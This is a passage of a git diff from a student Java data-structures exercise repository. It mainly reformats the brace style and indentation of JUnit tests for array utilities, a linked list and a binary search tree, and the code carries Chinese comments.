-		assertArrayEquals(c, array2);
-	}
-
-	@Test
-	public void testGetPrimes()
-	{
-		int[] a = {2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31 };
-		int[] array1 =  myArray.getPrimes(35);
-		assertArrayEquals(a, array1);
-		
-		//max <= 2的时候没有素数，数组为空数组
-		int[] array2 = myArray.getPrimes(1); 
-		int[] b = new int[0];
-		assertArrayEquals(array2, b);
-	}
-
-	@Test
-	public void testGetPerfectNumbers()
-	{
-		int[] array =  myArray.getPerfectNumbers(-1);
-		assertNull(array);
-		
-		array =  myArray.getPerfectNumbers(0);
-		assertArrayEquals(array, new int[0]);
-		
-		array =  myArray.getPerfectNumbers(10000);
-		int[] a = {6, 28, 496, 8128 };
-		assertArrayEquals(a, array);
-	}
-
-	@Test
-	public void testJoin()
-	{
-		int[] array0 = {3, 5, 7, 8, 9};
-		String s0 = myArray.join(array0, "-");
-		String s1 = "3-5-7-8-9";
-		assertEquals(s1, s0);
-		
-		int[] array1 = {3};
-		String s2 = myArray.join(array1, "-");
-		String s3 = "3";
-		assertEquals(s2, s3);
-		
-		//传递空数组时，返回空字符串
-		int[] array2 = new int[0];
-		String s4 = myArray.join(array2, "-");
-		String s5 = "";
-		assertEquals(s4, s5);
-		
-		//传递数组为null
-		int[] array3 = null;
-		String s6 = myArray.join(array3, "-");
-		assertNull(s6);
-	}
+public class ArrayUtilTest {
+    private ArrayUtil myArray;
+
+    @Before
+    public void setUp() throws Exception {
+	myArray = new ArrayUtil();
+    }
+
+    @Test
+    public void testReverseArray() {
+	int[] a = { 1, 2, 1, 3, 5, 6 };
+	int[] b = { 6, 5, 3, 1, 2, 1 };
+
+	myArray.reverseArray(a);
+	assertArrayEquals(a, b);
+
+	int[] c = new int[0];
+	myArray.reverseArray(c);
+	assertArrayEquals(c, new int[0]);
+
+    }
+
+    @Test
+    public void testRemoveZero() {
+	int[] oldArr = { 1, 3, 4, 5, 0, 0, 6, 6, 0, 5, 4, 7, 6, 7, 1, 2, 0, 5 };
+	int b[] = { 1, 3, 4, 5, 6, 6, 5, 4, 7, 6, 7, 1, 2, 5 };
+	int[] c = myArray.removeZero(oldArr);
+	assertArrayEquals(b, c);
+
+	int[] d = null;
+	int[] e = myArray.removeZero(d);
+	assertNull(e);
+
+    }
+
+    @Test
+    public void testMerge() {
+	int a1[] = { 1, 2, 3, 4, 5 };
+	int b1[] = { 3, 4, 5, 6, 7, 8 };
+	int c1[] = { 1, 2, 3, 4, 5, 6, 7, 8 };
+	int[] newArray1 = myArray.merge(a1, b1);
+	assertArrayEquals(c1, newArray1);
+
+	int a2[] = new int[0];
+	int b2[] = { 0, 2, 3, 6, 7, 8 };
+	int c2[] = { 0, 2, 3, 6, 7, 8 };
+	int[] newArray2 = myArray.merge(a2, b2);
+	assertArrayEquals(c2, newArray2);
+
+	int a3[] = { 0, 2, 3, 6, 7, 8 };
+	int b3[] = new int[0];
+	int c3[] = { 0, 2, 3, 6, 7, 8 };
+	int[] newArray3 = myArray.merge(a3, b3);
+	assertArrayEquals(c3, newArray3);
+
+	int[] a4 = null;
+	int[] b4 = null;
+	int[] newArray4 = myArray.merge(a4, b4);
+	assertNull(newArray4);
+    }
+
+    @Rule
+    public ExpectedException expectedEx = ExpectedException.none();
+
+    @Test
+    public void testGrow() {
+	int[] a = { 3, 5, 7, 8, 9 };
+	int[] b = { 3, 5, 7, 8, 9, 0, 0, 0 };
+	int[] newArray = myArray.grow(a, 3);
+	assertArrayEquals(b, newArray);
+
+	int[] c = null;
+	int[] newArray1 = myArray.grow(c, 3);
+	assertNull(newArray1);
+
+	// size < 0 抛出异常
+	expectedEx.expect(Exception.class);
+	myArray.grow(a, -3);
+    }
+
+    @Test
+    public void testFibonacci() {
+	// max == 1时返回空数组
+	int[] array1 = myArray.fibonacci(1);
+	int[] b = new int[0];
+	assertArrayEquals(array1, b);
+
+	int[] array2 = myArray.fibonacci(35);
+	int[] c = { 1, 1, 2, 3, 5, 8, 13, 21, 34 };
+	assertArrayEquals(c, array2);
+    }
+
+    @Test
+    public void testGetPrimes() {
+	int[] a = { 2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31 };
+	int[] array1 = myArray.getPrimes(35);
+	assertArrayEquals(a, array1);
+
+	// max <= 2的时候没有素数，数组为空数组
+	int[] array2 = myArray.getPrimes(1);
+	int[] b = new int[0];
+	assertArrayEquals(array2, b);
+    }
+
+    @Test
+    public void testGetPerfectNumbers() {
+	int[] array = myArray.getPerfectNumbers(-1);
+	assertNull(array);
+
+	array = myArray.getPerfectNumbers(0);
+	assertArrayEquals(array, new int[0]);
+
+	array = myArray.getPerfectNumbers(10000);
+	int[] a = { 6, 28, 496, 8128 };
+	assertArrayEquals(a, array);
+    }
+
+    @Test
+    public void testJoin() {
+	int[] array0 = { 3, 5, 7, 8, 9 };
+	String s0 = myArray.join(array0, "-");
+	String s1 = "3-5-7-8-9";
+	assertEquals(s1, s0);
+
+	int[] array1 = { 3 };
+	String s2 = myArray.join(array1, "-");
+	String s3 = "3";
+	assertEquals(s2, s3);
+
+	// 传递空数组时，返回空字符串
+	int[] array2 = new int[0];
+	String s4 = myArray.join(array2, "-");
+	String s5 = "";
+	assertEquals(s4, s5);
+
+	// 传递数组为null
+	int[] array3 = null;
+	String s6 = myArray.join(array3, "-");
+	assertNull(s6);
+    }
 
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/basic/ArrayListTest.java b/group02/727171008/src/com/github/HarryHook/coding2017/basic/ArrayListTest.java
index 0f22f6ba80..e1d65c48bb 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/basic/ArrayListTest.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/basic/ArrayListTest.java
@@ -3,13 +3,11 @@
 import org.junit.Before;
 import com.github.HarryHook.coding2017.basic.MyArrayList;
 
-
 public class ArrayListTest extends ListTest {
-	
-	@Before
-	public void setUpArrayList() 
-	{
-		aList = new MyArrayList();
-	}
-	
+
+    @Before
+    public void setUpArrayList() {
+	aList = new MyArrayList();
+    }
+
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/basic/BinaryTreeNode.java b/group02/727171008/src/com/github/HarryHook/coding2017/basic/BinaryTreeNode.java
index b93790894f..9a53e9ad4b 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/basic/BinaryTreeNode.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/basic/BinaryTreeNode.java
@@ -5,117 +5,103 @@
  */
 package com.github.HarryHook.coding2017.basic;
 
-public class BinaryTreeNode 
-{
-	private Integer data;      
-	private BinaryTreeNode left;
-	private BinaryTreeNode right;
+public class BinaryTreeNode {
+    private Integer data;
+    private BinaryTreeNode left;
+    private BinaryTreeNode right;
 
-	//中序遍历二叉树
-	public void inOrder(BinaryTreeNode node)
-	{
-		if(node != null)
-		{
-			inOrder(node.left);
-			System.out.print(" " + node.data);
-			inOrder(node.right);
-		}	
+    // 中序遍历二叉树
+    public void inOrder(BinaryTreeNode node) {
+	if (node != null) {
+	    inOrder(node.left);
+	    System.out.print(" " + node.data);
+	    inOrder(node.right);
 	}
-	
-	//获取给节点的值
-	public Integer getData() 
-	{
-		return data;
-	}
-	//给一个节点赋值
-	public void setData(Integer data)
-	{
-		this.data = data;
-	}
-	//获取左节点
-	public BinaryTreeNode getLeft() 
-	{
-		return left;
-	}
-	//指定左节点
-	public void setLeft(BinaryTreeNode left)
-	{
-		this.left = left;
-	}
-	
-	//获取右节点
-	public BinaryTreeNode getRight()
-	{
-		return right;
-	}
-	//指定右节点
-	public void setRight(BinaryTreeNode right)
-	{
-		this.right = right;
-	}	
+    }
 
-	//在二叉树中插入一个节点，需要判断
-	public BinaryTreeNode insert(Integer obj)
-	{
-		// 新增节点
-        BinaryTreeNode newNode = new BinaryTreeNode();
-        // 当前节点,保留根的值
-        BinaryTreeNode current = this;    
-        // 上个节点
-        BinaryTreeNode parent  = null;
-        // 如果根节点为空
-        if  (current.data == null) 
-        {	
-        	newNode.setData(obj);
-        	newNode.setLeft(null);
-        	newNode.setRight(null);
-            return newNode;
-        }else
-        {
-        	 while (true) 
-             {
-                 parent = current;
-                 if (obj < current.data) 
-                 {
-                     current = current.left;
-                     if (current == null) 
-                     {
-                    	 newNode.setData(obj);
-                     	 newNode.setLeft(null);
-                     	 newNode.setRight(null);
-                         parent.left = newNode;
-                         return newNode;
-                     }
-                 } else 
-                 {
-                     current = current.right;
-                     if (current == null) 
-                     {
-                    	 newNode.setData(obj);
-                     	 newNode.setLeft(null);
-                     	 newNode.setRight(null);
-                         parent.right = newNode;
-                         return newNode;
-                     }
-                 }
-             } 
-        }   
-	}
+    // 获取给节点的值
+    public Integer getData() {
+	return data;
+    }
+
+    // 给一个节点赋值
+    public void setData(Integer data) {
+	this.data = data;
+    }
 
-	public static void main(String[] args)
-	{
-		BinaryTreeNode BTN = new BinaryTreeNode();
-		
-		BTN = BTN.insert(5);
-		System.out.print(BTN.getData() + " ");
-		System.out.print(BTN.insert(2).getData() + " ");
-		System.out.print(BTN.insert(1).getData() + " ");
-		System.out.print(BTN.insert(4).getData() + " ");
-		System.out.print(BTN.insert(6).getData() + " ");
-		System.out.print(BTN.insert(8).getData() + " ");
-		System.out.println("");
-		System.out.println("中序遍历二叉树： ");
-		BTN.inOrder(BTN);	
+    // 获取左节点
+    public BinaryTreeNode getLeft() {
+	return left;
+    }
+
+    // 指定左节点
+    public void setLeft(BinaryTreeNode left) {
+	this.left = left;
+    }
+
+    // 获取右节点
+    public BinaryTreeNode getRight() {
+	return right;
+    }
+
+    // 指定右节点
+    public void setRight(BinaryTreeNode right) {
+	this.right = right;
+    }
+
+    // 在二叉树中插入一个节点，需要判断
+    public BinaryTreeNode insert(Integer obj) {
+	// 新增节点
+	BinaryTreeNode newNode = new BinaryTreeNode();
+	// 当前节点,保留根的值
+	BinaryTreeNode current = this;
+	// 上个节点
+	BinaryTreeNode parent = null;
+	// 如果根节点为空
+	if (current.data == null) {
+	    newNode.setData(obj);
+	    newNode.setLeft(null);
+	    newNode.setRight(null);
+	    return newNode;
+	} else {
+	    while (true) {
+		parent = current;
+		if (obj < current.data) {
+		    current = current.left;
+		    if (current == null) {
+			newNode.setData(obj);
+			newNode.setLeft(null);
+			newNode.setRight(null);
+			parent.left = newNode;
+			return newNode;
+		    }
+		} else {
+		    current = current.right;
+		    if (current == null) {
+			newNode.setData(obj);
+			newNode.setLeft(null);
+			newNode.setRight(null);
+			parent.right = newNode;
+			return newNode;
+		    }
+		}
+	    }
 	}
-	
+    }
+
+    public static void main(String[] args) {
+	BinaryTreeNode BTN = new BinaryTreeNode();
+
+	BTN = BTN.insert(5);
+	System.out.print(BTN.getData() + " ");
+	System.out.print(BTN.insert(2).getData() + " ");
+	System.out.print(BTN.insert(1).getData() + " ");
+	System.out.print(BTN.insert(4).getData() + " ");
+	System.out.print(BTN.insert(6).getData() + " ");
+	System.out.print(BTN.insert(8).getData() + " ");
+	System.out.println("");
+	System.out.println("中序遍历二叉树： ");
+	BTN.inOrder(BTN);
+    }
+
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/basic/BinaryTreeNodeTest.java b/group02/727171008/src/com/github/HarryHook/coding2017/basic/BinaryTreeNodeTest.java
index 60d1979713..bf21354c6e 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/basic/BinaryTreeNodeTest.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/basic/BinaryTreeNodeTest.java
@@ -7,34 +7,31 @@
 
 import com.github.HarryHook.coding2017.basic.BinaryTreeNode;
 
-public class BinaryTreeNodeTest 
-{
-
-	BinaryTreeNode binaryTreeNode;
-
-	@Before
-	public void setUpBinaryTreeNode() 
-	{
-		binaryTreeNode = new BinaryTreeNode();
-	}
-
-	@Test
-	public void testBinaryTreeNodeFunctional() 
-	{
-		binaryTreeNode = binaryTreeNode.insert(4);
-		binaryTreeNode.insert(1);
-		binaryTreeNode.insert(3);
-		binaryTreeNode.insert(5);
-		binaryTreeNode.insert(2);
-		
-		assertEquals(true, 4 == binaryTreeNode.getData());
-		assertEquals(true, 1 == binaryTreeNode.getLeft().getData());
-		assertEquals(true, 5 == binaryTreeNode.getRight().getData());
-		assertEquals(true, 3 == binaryTreeNode.getLeft().getRight().getData());
-		assertEquals(true, 2 == binaryTreeNode.getLeft().getRight().getLeft().getData());
-
-		//节点为空  说明值没有插进去
-		binaryTreeNode.inOrder(binaryTreeNode);
-	}
+public class BinaryTreeNodeTest {
+
+    BinaryTreeNode binaryTreeNode;
+
+    @Before
+    public void setUpBinaryTreeNode() {
+	binaryTreeNode = new BinaryTreeNode();
+    }
+
+    @Test
+    public void testBinaryTreeNodeFunctional() {
+	binaryTreeNode = binaryTreeNode.insert(4);
+	binaryTreeNode.insert(1);
+	binaryTreeNode.insert(3);
+	binaryTreeNode.insert(5);
+	binaryTreeNode.insert(2);
+
+	assertEquals(true, 4 == binaryTreeNode.getData());
+	assertEquals(true, 1 == binaryTreeNode.getLeft().getData());
+	assertEquals(true, 5 == binaryTreeNode.getRight().getData());
+	assertEquals(true, 3 == binaryTreeNode.getLeft().getRight().getData());
+	assertEquals(true, 2 == binaryTreeNode.getLeft().getRight().getLeft().getData());
+
+	// 节点为空 说明值没有插进去
+	binaryTreeNode.inOrder(binaryTreeNode);
+    }
 
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/basic/Iterator.java b/group02/727171008/src/com/github/HarryHook/coding2017/basic/Iterator.java
index 3fae84a22f..ca6169f998 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/basic/Iterator.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/basic/Iterator.java
@@ -1,7 +1,7 @@
 package com.github.HarryHook.coding2017.basic;
 
-public interface Iterator
-{
-	public boolean hasNext();
-	public Object next();
+public interface Iterator {
+    
+    public boolean hasNext();
+    public Object next();
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/basic/LinkedListTest.java b/group02/727171008/src/com/github/HarryHook/coding2017/basic/LinkedListTest.java
index 1ab9ea06b2..31d64c6a84 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/basic/LinkedListTest.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/basic/LinkedListTest.java
@@ -4,338 +4,331 @@
 import org.junit.Before;
 import org.junit.Test;
 
-
 import com.github.HarryHook.coding2017.basic.MyLinkedList;
 
-public class LinkedListTest extends ListTest{
+public class LinkedListTest extends ListTest {
 
-	private MyLinkedList aLinkedList;
-	
-	@Before
-	public void setUpLinkedList() {
-		aList = new MyLinkedList();
-		aLinkedList = new MyLinkedList();
-	}
-	
-	@Test
-	public void testAddFirst() {
-		aLinkedList.addFirst(5);
-		assertEquals(5, aLinkedList.get(0));
-		
-		aLinkedList.addFirst(6);
-		assertEquals(6, aLinkedList.get(0));
-		assertEquals(5, aLinkedList.get(1));
-		assertEquals(2, aLinkedList.size());
-	}
-	
-	@Test
-	public void testAddLast() {
-		aLinkedList.addLast("hello");
-		assertEquals("hello", aLinkedList.get(0));
-		
-		aLinkedList.addLast("world");
-		assertEquals("hello", aLinkedList.get(0));
-		assertEquals("world", aLinkedList.get(1));
-		assertEquals(2, aLinkedList.size());
-	}
-	
-	@Test
-	public void testRemoveFirst() {
-		aLinkedList.addLast("hello");
-		aLinkedList.addLast("world");
-		
-		aLinkedList.removeFirst();
-		assertEquals("world", aLinkedList.get(0));
-		assertEquals(1, aLinkedList.size());
-		
-		aLinkedList.removeFirst();
-		assertEquals(0, aLinkedList.size());
-	}
-	
-	@Test
-	public void testRemoveLast() {
-		aLinkedList.addFirst("world");
-		aLinkedList.addFirst("hello");
-		
-		aLinkedList.removeLast();
-		assertEquals("hello", aLinkedList.get(0));
-		assertEquals(1, aLinkedList.size());
-		
-		aLinkedList.removeLast();
-		assertEquals(0, aLinkedList.size());
-	}
-	
-	@Test
-	public void testLinkedListFunctional() {
-		for (int i=1; i<4; i++) {
-			aLinkedList.add(i);  // [1,2,3]
-		}
-		aLinkedList.remove(1);  // [1,3]
-		
-		aLinkedList.add(1, 0);  // [1,0,3]
-		for (int i=4; i<6; i++) {
-			aLinkedList.addFirst(i);  // [5, 4, 1, 0, 3]
-		}
-		assertEquals(5, aLinkedList.size());
-		assertEquals(5, aLinkedList.get(0));
-		assertEquals(1, aLinkedList.get(2));
-		assertEquals(0, aLinkedList.get(3));
-		
-		aLinkedList.remove(3);  // [5, 4, 1, 3]
-		assertEquals(3, aLinkedList.get(aLinkedList.size()-1));
-		aLinkedList.removeLast();  // [5, 4, 1]
-		assertEquals(1, aLinkedList.get(aLinkedList.size()-1));
-		aLinkedList.removeFirst();   // [4,1]
-		
-		assertEquals(4, aLinkedList.get(0));
-		assertEquals(1, aLinkedList.get(1));
-		assertEquals(2, aLinkedList.size());
+    private MyLinkedList aLinkedList;
+
+    @Before
+    public void setUpLinkedList() {
+	aList = new MyLinkedList();
+	aLinkedList = new MyLinkedList();
+    }
+
+    @Test
+    public void testAddFirst() {
+	aLinkedList.addFirst(5);
+	assertEquals(5, aLinkedList.get(0));
+
+	aLinkedList.addFirst(6);
+	assertEquals(6, aLinkedList.get(0));
+	assertEquals(5, aLinkedList.get(1));
+	assertEquals(2, aLinkedList.size());
+    }
+
+    @Test
+    public void testAddLast() {
+	aLinkedList.addLast("hello");
+	assertEquals("hello", aLinkedList.get(0));
+
+	aLinkedList.addLast("world");
+	assertEquals("hello", aLinkedList.get(0));
+	assertEquals("world", aLinkedList.get(1));
+	assertEquals(2, aLinkedList.size());
+    }
+
+    @Test
+    public void testRemoveFirst() {
+	aLinkedList.addLast("hello");
+	aLinkedList.addLast("world");
+
+	aLinkedList.removeFirst();
+	assertEquals("world", aLinkedList.get(0));
+	assertEquals(1, aLinkedList.size());
+
+	aLinkedList.removeFirst();
+	assertEquals(0, aLinkedList.size());
+    }
+
+    @Test
+    public void testRemoveLast() {
+	aLinkedList.addFirst("world");
+	aLinkedList.addFirst("hello");
+
+	aLinkedList.removeLast();
+	assertEquals("hello", aLinkedList.get(0));
+	assertEquals(1, aLinkedList.size());
+
+	aLinkedList.removeLast();
+	assertEquals(0, aLinkedList.size());
+    }
+
+    @Test
+    public void testLinkedListFunctional() {
+	for (int i = 1; i < 4; i++) {
+	    aLinkedList.add(i); // [1,2,3]
 	}
-	
-	@Test
-	public void testReverse() {
-		// 测试当aLinkedList为空时的情况
-		aLinkedList.reverse();
-		assertEquals(0, aLinkedList.size());
-		
-		// 测试当aLinkedList长度为1时的情况
-		aLinkedList.add(4);
-		aLinkedList.reverse();
-		assertEquals(1, aLinkedList.size());
-		assertEquals(4, aLinkedList.get(0));
-		 
-		for (int i=1; i<4; i++) 
-		{
-			aLinkedList.add(i);  // [4,1,2,3]
-		}
-		
-		aLinkedList.reverse();
-		assertEquals(4, aLinkedList.size());
-		assertEquals(3, aLinkedList.get(0));
-		assertEquals(2, aLinkedList.get(1));
-		assertEquals(1, aLinkedList.get(2));
-		assertEquals(4, aLinkedList.get(3));
-		
+	aLinkedList.remove(1); // [1,3]
+
+	aLinkedList.add(1, 0); // [1,0,3]
+	for (int i = 4; i < 6; i++) {
+	    aLinkedList.addFirst(i); // [5, 4, 1, 0, 3]
 	}
+	assertEquals(5, aLinkedList.size());
+	assertEquals(5, aLinkedList.get(0));
+	assertEquals(1, aLinkedList.get(2));
+	assertEquals(0, aLinkedList.get(3));
+
+	aLinkedList.remove(3); // [5, 4, 1, 3]
+	assertEquals(3, aLinkedList.get(aLinkedList.size() - 1));
+	aLinkedList.removeLast(); // [5, 4, 1]
+	assertEquals(1, aLinkedList.get(aLinkedList.size() - 1));
+	aLinkedList.removeFirst(); // [4,1]
 
-	/**
-	 * 删除一个单链表的前半部分
-	 * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
-	 * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
-
-	 */
-	@Test
-	public void testRemoveFirstHalf() {
-		aLinkedList.removeFirstHalf();
-		assertEquals(0, aLinkedList.size());
-		
-		aLinkedList.add(2);
-		aLinkedList.add(5);
-		aLinkedList.add(7);
-		aLinkedList.add(8);  // [2,5,7,8]
-		
-		aLinkedList.removeFirstHalf();  // [7,8]
-		assertEquals(2, aLinkedList.size());
-		assertEquals(7, aLinkedList.get(0));
-		assertEquals(8, aLinkedList.get(1));
+	assertEquals(4, aLinkedList.get(0));
+	assertEquals(1, aLinkedList.get(1));
+	assertEquals(2, aLinkedList.size());
+    }
+
+    @Test
+    public void testReverse() {
+	// 测试当aLinkedList为空时的情况
+	aLinkedList.reverse();
+	assertEquals(0, aLinkedList.size());
+
+	// 测试当aLinkedList长度为1时的情况
+	aLinkedList.add(4);
+	aLinkedList.reverse();
+	assertEquals(1, aLinkedList.size());
+	assertEquals(4, aLinkedList.get(0));
+
+	for (int i = 1; i < 4; i++) {
+	    aLinkedList.add(i); // [4,1,2,3]
 	}
 
-	/**
-	 * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
-	 * @param i
-	 * @param length
-	 */
-	@Test
-	public void testRemoveIntInt() {
-		
-		for (int i=0; i<4; i++) {
-			aLinkedList.add(i);  // [0,1,2,3]
-		}
-		
-		aLinkedList.remove(0, 2);  // [2,3]
-		assertEquals(2, aLinkedList.get(0));
-		assertEquals(3, aLinkedList.get(1));
-		assertEquals(2, aLinkedList.size());
-		
-		aLinkedList.remove(1, 0);
-		aLinkedList.remove(0, 0);
-		assertEquals(2, aLinkedList.size());
-		
-		aLinkedList.remove(1, 1);  // [2]
-		assertEquals(1, aLinkedList.size());
-		assertEquals(2, aLinkedList.get(0));
-		
-		aLinkedList.remove(0, 1);  // []
-		assertEquals(0, aLinkedList.size());
-		
-		expectedEx.expect(Exception.class);
-		aLinkedList.remove(1, 3);
+	aLinkedList.reverse();
+	assertEquals(4, aLinkedList.size());
+	assertEquals(3, aLinkedList.get(0));
+	assertEquals(2, aLinkedList.get(1));
+	assertEquals(1, aLinkedList.get(2));
+	assertEquals(4, aLinkedList.get(3));
+
+    }
+
+    /**
+     * 删除一个单链表的前半部分 例如：list = 2->5->7->8 , 删除以后的值为 7->8 如果list = 2->5->7->8->10
+     * ,删除以后的值为7,8,10
+     * 
+     */
+    @Test
+    public void testRemoveFirstHalf() {
+	aLinkedList.removeFirstHalf();
+	assertEquals(0, aLinkedList.size());
+
+	aLinkedList.add(2);
+	aLinkedList.add(5);
+	aLinkedList.add(7);
+	aLinkedList.add(8); // [2,5,7,8]
+
+	aLinkedList.removeFirstHalf(); // [7,8]
+	assertEquals(2, aLinkedList.size());
+	assertEquals(7, aLinkedList.get(0));
+	assertEquals(8, aLinkedList.get(1));
+    }
+
+    /**
+     * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
+     * 
+     * @param i
+     * @param length
+     */
+    @Test
+    public void testRemoveIntInt() {
+
+	for (int i = 0; i < 4; i++) {
+	    aLinkedList.add(i); // [0,1,2,3]
 	}
 
-	/**
-	 * 假定当前链表和list均包含已升序排列的整数
-	 * 从当前链表中取出那些list所指定的元素
-	 * 例如当前链表 = 11->101->201->301->401->501->601->701
-	 * listB = 1->3->4->6
-	 * 返回的结果应该是[101,301,401,601]  
-	 * @param list
-	 */
-	@Test
-	public void testGetElements() {
-		for (int i=0; i<4; i++) {
-			aLinkedList.add(i * i);  // [0,1,4,9]
-		}
-		
-		MyLinkedList bLinkedList = new MyLinkedList();
-		int[] z1 = aLinkedList.getElements(bLinkedList); // []
-		assertArrayEquals( z1, new int[0]);
-		
-		bLinkedList.add(1);
-		bLinkedList.add(3);  // [1, 3]
-		
-		z1 = aLinkedList.getElements(bLinkedList);  // [1, 9]
-		assertArrayEquals(new int[] {1,9}, z1);
-		
-		bLinkedList.add(1, 2);  // bLinkedList = [1, 2, 3]
-		z1 = aLinkedList.getElements(bLinkedList);  // [1, 4, 9]
-		assertArrayEquals(new int[] {1,4,9}, z1);
-		
-		bLinkedList.add(0, 0);  // bLinkedList = [0, 1, 2, 3]
-		z1 = aLinkedList.getElements(bLinkedList);  // [0, 1, 4, 9]
-		assertArrayEquals(new int[] {0,1,4,9}, z1);
-		
-		// aLinkedList不应该变化
-		assertEquals(4, aLinkedList.size());
-		for (int i=0; i<4; i++) {
-			assertEquals(i*i, aLinkedList.get(i));  // [0,1,4,9]
-		}
-		
-		// Exception
-		bLinkedList.add(5);  // bLinkedList = [0, 1, 2, 3, 5]
-		expectedEx.expect(Exception.class);
-		z1 = aLinkedList.getElements(bLinkedList); 
+	aLinkedList.remove(0, 2); // [2,3]
+	assertEquals(2, aLinkedList.get(0));
+	assertEquals(3, aLinkedList.get(1));
+	assertEquals(2, aLinkedList.size());
+
+	aLinkedList.remove(1, 0);
+	aLinkedList.remove(0, 0);
+	assertEquals(2, aLinkedList.size());
+
+	aLinkedList.remove(1, 1); // [2]
+	assertEquals(1, aLinkedList.size());
+	assertEquals(2, aLinkedList.get(0));
+
+	aLinkedList.remove(0, 1); // []
+	assertEquals(0, aLinkedList.size());
+
+	expectedEx.expect(Exception.class);
+	aLinkedList.remove(1, 3);
+    }
+
+    /**
+     * 假定当前链表和list均包含已升序排列的整数 从当前链表中取出那些list所指定的元素 例如当前链表 =
+     * 11->101->201->301->401->501->601->701 listB = 1->3->4->6
+     * 返回的结果应该是[101,301,401,601]
+     * 
+     * @param list
+     */
+    @Test
+    public void testGetElements() {
+	for (int i = 0; i < 4; i++) {
+	    aLinkedList.add(i * i); // [0,1,4,9]
 	}
-	
-	@Test
-	public  void TestSubtract()
-	{
-		//传进的list为null,什么都不干
-		MyLinkedList list = null;
-		for (int i=0; i<6; i++) 
-		{
-			aLinkedList.add(i);  //[0,1,2,3,4,5]
-		}
-		aLinkedList.subtract(list);
-		assertEquals(6, aLinkedList.size());
-		
-		//传进的list为空
-		list = new MyLinkedList();
-		aLinkedList.subtract(list);
-		assertEquals(6, aLinkedList.size());
-		
-		aLinkedList.add(1, 1);	//[0,1,1,2,3,4,5]
-		aLinkedList.add(4, 3);  //[0,1, 1, 2, 3, 3, 4, 5]
-		
-		// list添加元素[0, 1, 3, 7]
-		list.add(0);
-		list.add(1);
-		list.add(3);
-		list.add(7);
-		
-		aLinkedList.subtract(list); //[ 2, 4, 5]
-		
-		assertEquals(2, aLinkedList.get(0));
-		assertEquals(4, aLinkedList.get(1));
-		assertEquals(5, aLinkedList.get(2));
-		assertEquals(3, aLinkedList.size());
+
+	MyLinkedList bLinkedList = new MyLinkedList();
+	int[] z1 = aLinkedList.getElements(bLinkedList); // []
+	assertArrayEquals(z1, new int[0]);
+
+	bLinkedList.add(1);
+	bLinkedList.add(3); // [1, 3]
+
+	z1 = aLinkedList.getElements(bLinkedList); // [1, 9]
+	assertArrayEquals(new int[] { 1, 9 }, z1);
+
+	bLinkedList.add(1, 2); // bLinkedList = [1, 2, 3]
+	z1 = aLinkedList.getElements(bLinkedList); // [1, 4, 9]
+	assertArrayEquals(new int[] { 1, 4, 9 }, z1);
+
+	bLinkedList.add(0, 0); // bLinkedList = [0, 1, 2, 3]
+	z1 = aLinkedList.getElements(bLinkedList); // [0, 1, 4, 9]
+	assertArrayEquals(new int[] { 0, 1, 4, 9 }, z1);
+
+	// aLinkedList不应该变化
+	assertEquals(4, aLinkedList.size());
+	for (int i = 0; i < 4; i++) {
+	    assertEquals(i * i, aLinkedList.get(i)); // [0,1,4,9]
 	}
-	@Test
-	public  void testRemoveDuplicateValues()
-	{
-		aLinkedList.removeDuplicateValues();
-		assertEquals(0, aLinkedList.size());
-		
-		aLinkedList.add(3);
-		aLinkedList.add(3);
-		aLinkedList.add(4);
-		aLinkedList.add(4);
-		aLinkedList.add(5);
-		aLinkedList.add(6);
-		aLinkedList.add(6);	//[3, 3, 4, 4, 5, 6, 6]
-		
-		aLinkedList.removeDuplicateValues();	//[3, 4, 5, 6]
-		
-		assertEquals(3, aLinkedList.get(0));
-		assertEquals(4, aLinkedList.get(1));
-		assertEquals(5, aLinkedList.get(2));
-		assertEquals(6, aLinkedList.get(3));
-		assertEquals(4, aLinkedList.size());
-		
+
+	// Exception
+	bLinkedList.add(5); // bLinkedList = [0, 1, 2, 3, 5]
+	expectedEx.expect(Exception.class);
+	z1 = aLinkedList.getElements(bLinkedList);
+    }
+
+    @Test
+    public void TestSubtract() {
+	// 传进的list为null,什么都不干
+	MyLinkedList list = null;
+	for (int i = 0; i < 6; i++) {
+	    aLinkedList.add(i); // [0,1,2,3,4,5]
 	}
-	@Test
-	public void testRemoveRange()
-	{
-		for (int i=0; i<6; i++) 
-		{
-			aLinkedList.add(i);  // [0, 1, 2, 3, 4, 5] //考虑重复元素
-		}
-		aLinkedList.addFirst(0); // [0, 0, 1, 2, 3, 4, 5] 
-		aLinkedList.add(3, 2);	 // [0, 0, 1, 2, 2, 3, 4, 5] 
-		
-		aLinkedList.removeRange(1, 4);  // 大于1小于4  [0, 0, 1, 4, 5]
-		
-		assertEquals(0, aLinkedList.get(0));
-		assertEquals(0, aLinkedList.get(1));
-		assertEquals(1, aLinkedList.get(2));
-		assertEquals(4, aLinkedList.get(3));
-		assertEquals(5, aLinkedList.get(4));
-		assertEquals(5, aLinkedList.size());
-		
-		//若出现 min >= max的情况，什么都不做
-		aLinkedList.removeRange(4, 1);
-		assertEquals(0, aLinkedList.get(0));
-		assertEquals(0, aLinkedList.get(1));
-		assertEquals(1, aLinkedList.get(2));
-		assertEquals(4, aLinkedList.get(3));
-		assertEquals(5, aLinkedList.get(4));
-		assertEquals(5, aLinkedList.size());
-		
-		//将整个链表中的元素删除
-		aLinkedList.removeRange(-1, 8);
-		assertEquals(0, aLinkedList.size());
+	aLinkedList.subtract(list);
+	assertEquals(6, aLinkedList.size());
+
+	// 传进的list为空
+	list = new MyLinkedList();
